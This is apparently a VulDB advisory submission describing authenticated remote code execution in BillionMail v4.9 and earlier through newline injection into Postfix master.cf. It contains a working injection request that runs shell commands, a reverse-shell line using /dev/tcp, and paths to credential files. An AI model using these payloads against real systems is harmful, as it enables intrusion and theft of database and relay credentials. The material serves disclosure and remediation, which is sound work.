إرسال #1038400: BillionMail <=v4.9 Authenticated RCEالمعلومات

عنوانBillionMail <=v4.9 Authenticated RCE
الوصفBillionMail (aaPanel) through v4.9 - authenticated remote code execution via Postfix master.cf injection in the relay helo_name field. SUMMARY BillionMail's relay configuration API (POST /api/relay/add and POST /api/relay/edit) accepts a helo_name value validated only by max-length:255 (core/api/relay/v1/relay.go:87). The value is written verbatim into a service parameter in the shared Postfix master.cf: "-o smtp_helo_name=<value>" (core/internal/service/relay/config_sync.go:522). An embedded newline escapes the parameter line and injects arbitrary master.cf service definitions. Postfix accepts duplicate service names ("duplicate master.cf entry ... using the last entry"), so an injected duplicate of the auto-generated transport name (smtp_Custom_<smtp_name>) overrides the legitimate relay transport. After every relay sync the application automatically executes postmap and "postfix reload" AS ROOT inside the postfix container via the Docker API (config_sync.go:684-694), so the injected service becomes live immediately, with no admin interaction. The injected "pipe" service executes an attacker-supplied command as user "nobody" when triggered. HOW TO INDEPENDENTLY CONFIRM (verified end to end on a stock docker-compose deployment: release images billionmail/core:4.9.3 and billionmail/postfix:1.6; the vulnerable code is still present in the dev branch commit fc36c76 as of 2026-10-15) 1. Authenticate to the web API and obtain a JWT: POST /api/login (on a fresh install the admin account is seeded from the deployment environment). On deployments with SafePath enabled, visit http://HOST/<SafePath> once to obtain the session cookie before calling the API. 2. Send one authenticated request with a newline in helo_name (plain JSON \n): POST /api/relay/add authorization: <JWT> Content-Type: application/json { "remark": "corporate relay", "rtype": "custom", "sender_domains": ["evil.test"], "relay_host": "smtp.evil.test", "relay_port": "2525", "auth_user": "", "auth_password": "", "active": 1, "auth_method": "NONE", "skip_tls_verify": 0, "smtp_name": "pwn", "helo_name": "relay.evil.test\nsmtp_Custom_pwn unix - n n - - pipe user=nobody argv=/bin/bash -c id>/tmp/bm-rce-proof.txt;hostname>>/tmp/bm-rce-proof.txt;whoami>>/tmp/bm-rce-proof.txt" } 3. The shared conf/postfix/master.cf (also mounted as /etc/postfix/master.cf in the postfix container) now contains, inside the managed relay block: smtp_Custom_pwn unix - - n - - smtp -o smtp_helo_name=relay.evil.test smtp_Custom_pwn unix - n n - - pipe user=nobody argv=/bin/bash -c id>/tmp/bm-rce-proof.txt;hostname>>/tmp/bm-rce-proof.txt;whoami>>/tmp/bm-rce-proof.txt (the third line is the injected duplicate service; the application has already reloaded Postfix as root at this point) 4. Trigger: any message with an envelope sender in the configured sender_domains is routed through the injected service, via the sender-dependent transport mapping the sync installs (table bm_domain_smtp_transport, "@evil.test -> smtp_Custom_pwn", exposed to Postfix through pgsql_sender_transport_maps.cf). For example, inside the postfix container: /usr/sbin/sendmail -f [email protected] [email protected] 5. Observed result: /tmp/bm-rce-proof.txt (inside the postfix container) contains: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) postfix nobody and the Postfix log shows: "postfix/pipe[...]: ... relay=smtp_Custom_pwn ... status=sent (delivered via smtp_Custom_pwn service)". A reverse shell as nobody was also verified with the injected command "exec<>/dev/tcp/LHOST/LPORT;sh<&0>&0" (master.cf argv is whitespace-split and subject to Postfix $-macro expansion, so the embedded command must be whitespace-free and dollar-free; e.g. a ${IFS}-based payload aborts delivery with 'unknown macro name: "IFS"'). SECURITY IMPACT Attacker gain: arbitrary command execution as nobody (uid 65534) inside the postfix container from a single authenticated API request. From this, the attacker reads deployment secrets that are world-readable (mode 0644): /etc/postfix/sql/*.cf contains the PostgreSQL credentials of the application database (e.g. "user = billionmail" and its password), and /etc/postfix/conf/sasl_passwd contains relay authentication credentials. Database access yields control of all application/mail data (mailboxes, accounts, contacts, campaigns). The configuration persists in the database and is re-applied on every sync and restart, giving durable code execution. The RBAC system exposes the relay module as a grantable permission, so a delegated non-admin "relay manager" account also reaches the exploit (privilege escalation to container RCE). Victim loss: full compromise of the mail stack and its data; manipulation of mail transport (redirection/interception of outbound and relayed mail); disclosure of database and relay credentials; a container foothold usable for further lateral movement. RELATED ISSUE (same root cause): relay_host, relay_port, auth_user and auth_password carry only max-length validation (relay.go:78-83) and are interpolated unvalidated into sasl_passwd ([host]:port user:pass, config_sync.go:638-639); newline injection there allows injecting arbitrary sasl_passwd lines. SUGGESTED REMEDIATION: strictly validate helo_name against a HELO-hostname allowlist (e.g. ^[A-Za-z0-9]([A-Za-z0-9.-]{0,253}[A-Za-z0-9])?$), reject whitespace and control characters in every field interpolated into master.cf/sasl_passwd; optionally run "postfix check" before reloading as defense in depth. DOCUMENTATION: a full technical report, a bash proof-of-concept script, a Python exploit (including a working reverse shell) and raw evidence (injected master.cf block, command output as nobody, Postfix log lines, readable database-credential file) are attached.
المصدر⚠️ https://gist.github.com/stoic-crawler/07c4b68b76b870659ade38d0035fced8
المستخدم
 silverdragon (UID 101041)
ارسال16/10/2026 03:16 AM (24 أيام منذ)
الاعتدال08/11/2026 06:08 PM (24 days later)
الحالةتمت الموافقة
إدخال VulDB432929 [aaPanel BillionMail حتى 4.9 Relay Configuration API relay.go helo_name تجاوز الصلاحيات]
النقاط20

Do you know our Splunk app?

Download it now for free!